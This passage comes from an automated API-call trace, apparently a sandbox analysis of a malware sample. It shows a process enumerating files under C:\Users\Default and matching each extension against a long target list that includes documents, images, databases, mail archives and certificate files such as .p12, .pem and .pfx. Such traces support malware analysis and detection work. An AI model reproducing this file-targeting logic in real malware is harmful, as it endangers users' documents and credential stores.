lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dcm") returned 4 [0261.053] lstrcmpiW (lpString1=".dcm", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dcr") returned 4 [0261.053] lstrcmpiW (lpString1=".dcr", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".der") returned 4 [0261.053] lstrcmpiW (lpString1=".der", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dib") returned 4 [0261.053] lstrcmpiW (lpString1=".dib", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dic") returned 4 [0261.053] lstrcmpiW (lpString1=".dic", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dif") returned 4 [0261.053] lstrcmpiW (lpString1=".dif", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".divx") returned 5 [0261.053] lstrcmpiW (lpString1=".divx", lpString2="e.url") returned -1 [0261.053] lstrlenW (lpString=".djvu") returned 5 [0261.054] lstrcmpiW (lpString1=".djvu", lpString2="e.url") returned -1 [0261.054] lstrlenW (lpString=".dng") returned 4 [0261.054] lstrcmpiW (lpString1=".dng", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".doc") returned 4 [0261.054] lstrcmpiW (lpString1=".doc", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".docm") returned 5 [0261.054] lstrcmpiW (lpString1=".docm", lpString2="e.url") returned -1 [0261.054] lstrlenW (lpString=".docx") returned 5 [0261.054] lstrcmpiW (lpString1=".docx", lpString2="e.url") returned -1 [0261.054] lstrlenW (lpString=".dot") returned 4 [0261.054] lstrcmpiW (lpString1=".dot", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dotm") returned 5 [0261.054] lstrcmpiW (lpString1=".dotm", lpString2="e.url") returned -1 [0261.054] lstrlenW (lpString=".dotx") returned 5 [0261.054] lstrcmpiW (lpString1=".dotx", lpString2="e.url") returned -1 [0261.054] lstrlenW (lpString=".dpx") returned 4 [0261.054] lstrcmpiW (lpString1=".dpx", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dqy") returned 4 [0261.054] lstrcmpiW (lpString1=".dqy", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dsn") returned 4 [0261.054] lstrcmpiW (lpString1=".dsn", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dt") returned 3 [0261.054] lstrcmpiW (lpString1=".dt", lpString2="url") returned -1 [0261.054] lstrlenW (lpString=".dtd") returned 4 [0261.054] lstrcmpiW (lpString1=".dtd", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dwg") returned 4 [0261.054] lstrcmpiW (lpString1=".dwg", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dwt") returned 4 [0261.054] lstrcmpiW (lpString1=".dwt", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".dx") returned 3 [0261.054] lstrcmpiW (lpString1=".dx", lpString2="url") returned -1 [0261.054] lstrlenW (lpString=".dxf") returned 4 [0261.054] lstrcmpiW (lpString1=".dxf", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".edml") returned 5 [0261.054] lstrcmpiW (lpString1=".edml", lpString2="e.url") returned -1 [0261.054] lstrlenW (lpString=".efd") returned 4 [0261.054] lstrcmpiW (lpString1=".efd", lpString2=".url") returned -1 [0261.054] lstrlenW (lpString=".elf") returned 4 [0261.055] lstrcmpiW (lpString1=".elf", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".emf") returned 4 [0261.055] lstrcmpiW (lpString1=".emf", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".emz") returned 4 [0261.055] lstrcmpiW (lpString1=".emz", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".epf") returned 4 [0261.055] lstrcmpiW (lpString1=".epf", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".eps") returned 4 [0261.055] lstrcmpiW (lpString1=".eps", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".epsf") returned 5 [0261.055] lstrcmpiW (lpString1=".epsf", lpString2="e.url") returned -1 [0261.055] lstrlenW (lpString=".epsp") returned 5 [0261.055] lstrcmpiW (lpString1=".epsp", lpString2="e.url") returned -1 [0261.055] lstrlenW (lpString=".erf") returned 4 [0261.055] lstrcmpiW (lpString1=".erf", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".exr") returned 4 [0261.055] lstrcmpiW (lpString1=".exr", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".f4v") returned 4 [0261.055] lstrcmpiW (lpString1=".f4v", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".fido") returned 5 [0261.055] lstrcmpiW (lpString1=".fido", lpString2="e.url") returned -1 [0261.055] lstrlenW (lpString=".flm") returned 4 [0261.055] lstrcmpiW (lpString1=".flm", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".flv") returned 4 [0261.055] lstrcmpiW (lpString1=".flv", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".frm") returned 4 [0261.055] lstrcmpiW (lpString1=".frm", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".fxg") returned 4 [0261.055] lstrcmpiW (lpString1=".fxg", lpString2=".url") returned -1 [0261.055] lstrlenW (lpString=".geo") returned 4 [0261.057] lstrcmpiW (lpString1=".geo", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".gif") returned 4 [0261.057] lstrcmpiW (lpString1=".gif", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".grs") returned 4 [0261.057] lstrcmpiW (lpString1=".grs", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".gz") returned 3 [0261.057] lstrcmpiW (lpString1=".gz", lpString2="url") returned -1 [0261.057] lstrlenW (lpString=".h") returned 2 [0261.057] lstrcmpiW (lpString1=".h", lpString2="rl") returned -1 [0261.057] lstrlenW (lpString=".hdr") returned 4 [0261.057] lstrcmpiW (lpString1=".hdr", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".hpp") returned 4 [0261.057] lstrcmpiW (lpString1=".hpp", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".hta") returned 4 [0261.057] lstrcmpiW (lpString1=".hta", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".htc") returned 4 [0261.057] lstrcmpiW (lpString1=".htc", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".htm") returned 4 [0261.057] lstrcmpiW (lpString1=".htm", lpString2=".url") returned -1 [0261.057] lstrlenW (lpString=".html") returned 5 [0261.057] lstrcmpiW (lpString1=".html", lpString2="e.url") returned -1 [0261.057] lstrlenW (lpString=".icb") returned 4 [0261.058] lstrcmpiW (lpString1=".icb", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".ics") returned 4 [0261.058] lstrcmpiW (lpString1=".ics", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".iff") returned 4 [0261.058] lstrcmpiW (lpString1=".iff", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".inc") returned 4 [0261.058] lstrcmpiW (lpString1=".inc", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".indd") returned 5 [0261.058] lstrcmpiW (lpString1=".indd", lpString2="e.url") returned -1 [0261.058] lstrlenW (lpString=".ini") returned 4 [0261.058] lstrcmpiW (lpString1=".ini", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".iqy") returned 4 [0261.058] lstrcmpiW (lpString1=".iqy", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".j2c") returned 4 [0261.058] lstrcmpiW (lpString1=".j2c", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".j2k") returned 4 [0261.058] lstrcmpiW (lpString1=".j2k", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".java") returned 5 [0261.058] lstrcmpiW (lpString1=".java", lpString2="e.url") returned -1 [0261.058] lstrlenW (lpString=".jp2") returned 4 [0261.058] lstrcmpiW (lpString1=".jp2", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".jpc") returned 4 [0261.058] lstrcmpiW (lpString1=".jpc", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".jpe") returned 4 [0261.058] lstrcmpiW (lpString1=".jpe", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".jpeg") returned 5 [0261.058] lstrcmpiW (lpString1=".jpeg", lpString2="e.url") returned -1 [0261.058] lstrlenW (lpString=".jpf") returned 4 [0261.058] lstrcmpiW (lpString1=".jpf", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".jpg") returned 4 [0261.058] lstrcmpiW (lpString1=".jpg", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".jpx") returned 4 [0261.058] lstrcmpiW (lpString1=".jpx", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".js") returned 3 [0261.058] lstrcmpiW (lpString1=".js", lpString2="url") returned -1 [0261.058] lstrlenW (lpString=".jsf") returned 4 [0261.058] lstrcmpiW (lpString1=".jsf", lpString2=".url") returned -1 [0261.058] lstrlenW (lpString=".json") returned 5 [0261.059] lstrcmpiW (lpString1=".json", lpString2="e.url") returned -1 [0261.059] lstrlenW (lpString=".jsp") returned 4 [0261.059] lstrcmpiW (lpString1=".jsp", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".kdc") returned 4 [0261.059] lstrcmpiW (lpString1=".kdc", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".kmz") returned 4 [0261.059] lstrcmpiW (lpString1=".kmz", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".kwm") returned 4 [0261.059] lstrcmpiW (lpString1=".kwm", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".lasso") returned 6 [0261.059] lstrcmpiW (lpString1=".lasso", lpString2="ve.url") returned -1 [0261.059] lstrlenW (lpString=".lbi") returned 4 [0261.059] lstrcmpiW (lpString1=".lbi", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".lgf") returned 4 [0261.059] lstrcmpiW (lpString1=".lgf", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".lgp") returned 4 [0261.059] lstrcmpiW (lpString1=".lgp", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".log") returned 4 [0261.059] lstrcmpiW (lpString1=".log", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".m1v") returned 4 [0261.059] lstrcmpiW (lpString1=".m1v", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".m4a") returned 4 [0261.059] lstrcmpiW (lpString1=".m4a", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".m4v") returned 4 [0261.059] lstrcmpiW (lpString1=".m4v", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".max") returned 4 [0261.059] lstrcmpiW (lpString1=".max", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".md") returned 3 [0261.059] lstrcmpiW (lpString1=".md", lpString2="url") returned -1 [0261.059] lstrlenW (lpString=".mda") returned 4 [0261.059] lstrcmpiW (lpString1=".mda", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".mdb") returned 4 [0261.059] lstrcmpiW (lpString1=".mdb", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".mde") returned 4 [0261.059] lstrcmpiW (lpString1=".mde", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".mdf") returned 4 [0261.059] lstrcmpiW (lpString1=".mdf", lpString2=".url") returned -1 [0261.059] lstrlenW (lpString=".mdw") returned 4 [0261.060] lstrcmpiW (lpString1=".mdw", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mef") returned 4 [0261.060] lstrcmpiW (lpString1=".mef", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mft") returned 4 [0261.060] lstrcmpiW (lpString1=".mft", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mfw") returned 4 [0261.060] lstrcmpiW (lpString1=".mfw", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mht") returned 4 [0261.060] lstrcmpiW (lpString1=".mht", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mhtml") returned 6 [0261.060] lstrcmpiW (lpString1=".mhtml", lpString2="ve.url") returned -1 [0261.060] lstrlenW (lpString=".mka") returned 4 [0261.060] lstrcmpiW (lpString1=".mka", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mkidx") returned 6 [0261.060] lstrcmpiW (lpString1=".mkidx", lpString2="ve.url") returned -1 [0261.060] lstrlenW (lpString=".mkv") returned 4 [0261.060] lstrcmpiW (lpString1=".mkv", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mos") returned 4 [0261.060] lstrcmpiW (lpString1=".mos", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mov") returned 4 [0261.060] lstrcmpiW (lpString1=".mov", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mp3") returned 4 [0261.060] lstrcmpiW (lpString1=".mp3", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mp4") returned 4 [0261.060] lstrcmpiW (lpString1=".mp4", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mpeg") returned 5 [0261.060] lstrcmpiW (lpString1=".mpeg", lpString2="e.url") returned -1 [0261.060] lstrlenW (lpString=".mpg") returned 4 [0261.060] lstrcmpiW (lpString1=".mpg", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mpv") returned 4 [0261.060] lstrcmpiW (lpString1=".mpv", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mrw") returned 4 [0261.060] lstrcmpiW (lpString1=".mrw", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".msg") returned 4 [0261.060] lstrcmpiW (lpString1=".msg", lpString2=".url") returned -1 [0261.060] lstrlenW (lpString=".mxl") returned 4 [0261.060] lstrcmpiW (lpString1=".mxl", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".myd") returned 4 [0261.061] lstrcmpiW (lpString1=".myd", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".myi") returned 4 [0261.061] lstrcmpiW (lpString1=".myi", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".nef") returned 4 [0261.061] lstrcmpiW (lpString1=".nef", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".nrw") returned 4 [0261.061] lstrcmpiW (lpString1=".nrw", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".obj") returned 4 [0261.061] lstrcmpiW (lpString1=".obj", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".odb") returned 4 [0261.061] lstrcmpiW (lpString1=".odb", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".odc") returned 4 [0261.061] lstrcmpiW (lpString1=".odc", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".odm") returned 4 [0261.061] lstrcmpiW (lpString1=".odm", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".odp") returned 4 [0261.061] lstrcmpiW (lpString1=".odp", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".ods") returned 4 [0261.061] lstrcmpiW (lpString1=".ods", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".oft") returned 4 [0261.061] lstrcmpiW (lpString1=".oft", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".one") returned 4 [0261.061] lstrcmpiW (lpString1=".one", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".onepkg") returned 7 [0261.061] lstrcmpiW (lpString1=".onepkg", lpString2="ive.url") returned -1 [0261.061] lstrlenW (lpString=".onetoc2") returned 8 [0261.061] lstrcmpiW (lpString1=".onetoc2", lpString2="Live.url") returned -1 [0261.061] lstrlenW (lpString=".opt") returned 4 [0261.061] lstrcmpiW (lpString1=".opt", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".oqy") returned 4 [0261.061] lstrcmpiW (lpString1=".oqy", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".orf") returned 4 [0261.061] lstrcmpiW (lpString1=".orf", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".p12") returned 4 [0261.061] lstrcmpiW (lpString1=".p12", lpString2=".url") returned -1 [0261.061] lstrlenW (lpString=".p7b") returned 4 [0261.061] lstrcmpiW (lpString1=".p7b", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".p7c") returned 4 [0261.062] lstrcmpiW (lpString1=".p7c", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pam") returned 4 [0261.062] lstrcmpiW (lpString1=".pam", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pbm") returned 4 [0261.062] lstrcmpiW (lpString1=".pbm", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pct") returned 4 [0261.062] lstrcmpiW (lpString1=".pct", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pcx") returned 4 [0261.062] lstrcmpiW (lpString1=".pcx", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pdd") returned 4 [0261.062] lstrcmpiW (lpString1=".pdd", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pdf") returned 4 [0261.062] lstrcmpiW (lpString1=".pdf", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pdp") returned 4 [0261.062] lstrcmpiW (lpString1=".pdp", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pef") returned 4 [0261.062] lstrcmpiW (lpString1=".pef", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pem") returned 4 [0261.062] lstrcmpiW (lpString1=".pem", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pff") returned 4 [0261.062] lstrcmpiW (lpString1=".pff", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pfm") returned 4 [0261.062] lstrcmpiW (lpString1=".pfm", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pfx") returned 4 [0261.062] lstrcmpiW (lpString1=".pfx", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".pgm") returned 4 [0261.062] lstrcmpiW (lpString1=".pgm", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".php") returned 4 [0261.062] lstrcmpiW (lpString1=".php", lpString2=".url") returned -1 [0261.062] lstrlenW (lpString=".php3") returned 5 [0261.062] lstrcmpiW (lpString1=".php3", lpString2="e.url") returned -1 [0261.062] lstrlenW (lpString=".php4") returned 5 [0261.062] lstrcmpiW (lpString1=".php4", lpString2="e.url") returned -1 [0261.062] lstrlenW (lpString=".php5") returned 5 [0261.062] lstrcmpiW (lpString1=".php5", lpString2="e.url") returned -1 [0261.062] lstrlenW (lpString=".phtml") returned 6 [0261.062] lstrcmpiW (lpString1=".phtml", lpString2="ve.url") returned -1 [0261.063] lstrlenW (lpString=".pict") returned 5 [0261.063] lstrcmpiW (lpString1=".pict", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".pl") returned 3 [0261.063] lstrcmpiW (lpString1=".pl", lpString2="url") returned -1 [0261.063] lstrlenW (lpString=".pls") returned 4 [0261.063] lstrcmpiW (lpString1=".pls", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".pm") returned 3 [0261.063] lstrcmpiW (lpString1=".pm", lpString2="url") returned -1 [0261.063] lstrlenW (lpString=".png") returned 4 [0261.063] lstrcmpiW (lpString1=".png", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".pnm") returned 4 [0261.063] lstrcmpiW (lpString1=".pnm", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".pot") returned 4 [0261.063] lstrcmpiW (lpString1=".pot", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".potm") returned 5 [0261.063] lstrcmpiW (lpString1=".potm", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".potx") returned 5 [0261.063] lstrcmpiW (lpString1=".potx", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".ppa") returned 4 [0261.063] lstrcmpiW (lpString1=".ppa", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".ppam") returned 5 [0261.063] lstrcmpiW (lpString1=".ppam", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".ppm") returned 4 [0261.063] lstrcmpiW (lpString1=".ppm", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".pps") returned 4 [0261.063] lstrcmpiW (lpString1=".pps", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".ppsm") returned 5 [0261.063] lstrcmpiW (lpString1=".ppsm", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".ppt") returned 4 [0261.063] lstrcmpiW (lpString1=".ppt", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".pptm") returned 5 [0261.063] lstrcmpiW (lpString1=".pptm", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".pptx") returned 5 [0261.063] lstrcmpiW (lpString1=".pptx", lpString2="e.url") returned -1 [0261.063] lstrlenW (lpString=".prn") returned 4 [0261.063] lstrcmpiW (lpString1=".prn", lpString2=".url") returned -1 [0261.063] lstrlenW (lpString=".ps") returned 3 [0261.063] lstrcmpiW (lpString1=".ps", lpString2="url") returned -1 [0261.064] lstrlenW (lpString=".psb") returned 4 [0261.064] lstrcmpiW (lpString1=".psb", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".psd") returned 4 [0261.064] lstrcmpiW (lpString1=".psd", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".pst") returned 4 [0261.064] lstrcmpiW (lpString1=".pst", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".ptx") returned 4 [0261.064] lstrcmpiW (lpString1=".ptx", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".pub") returned 4 [0261.064] lstrcmpiW (lpString1=".pub", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".pwm") returned 4 [0261.064] lstrcmpiW (lpString1=".pwm", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".pxr") returned 4 [0261.064] lstrcmpiW (lpString1=".pxr", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".py") returned 3 [0261.064] lstrcmpiW (lpString1=".py", lpString2="url") returned -1 [0261.064] lstrlenW (lpString=".qt") returned 3 [0261.064] lstrcmpiW (lpString1=".qt", lpString2="url") returned -1 [0261.064] lstrlenW (lpString=".r3d") returned 4 [0261.064] lstrcmpiW (lpString1=".r3d", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".raf") returned 4 [0261.064] lstrcmpiW (lpString1=".raf", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".rar") returned 4 [0261.064] lstrcmpiW (lpString1=".rar", lpString2=".url") returned -1 [0261.064] lstrlenW (lpString=".raw") returned 4 [0261.064] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0261.064] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0261.065] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0261.065] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0261.065] FindClose (in: hFindFile=0x3af19a0 | out: hFindFile=0x3af19a0) returned 1 [0261.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42c7390 | out: hHeap=0x530000) returned 1 [0261.065] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0261.066] FindClose (in: hFindFile=0x3af1360 | out: hFindFile=0x3af1360) returned 1 [0261.066] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x3ad00b0 | out: hHeap=0x530000) returned 1 [0261.066] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0261.066] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ad00b0 [0261.066] lstrlenW (lpString="C:\\Users\\Default\\Links") returned 22 [0261.066] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af1360 [0261.068] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.068] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0261.068] lstrlenW (lpString="desktop.ini") returned 11 [0261.068] lstrlenW (lpString=".1cd") returned 4 [0261.068] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0261.068] lstrlenW (lpString=".3ds") returned 4 [0261.068] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0261.068] lstrlenW (lpString=".3fr") returned 4 [0261.069] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".3g2") returned 4 [0261.069] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0261.069] lstrlenW (lpString=".3gp") returned 4 [0261.069] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned 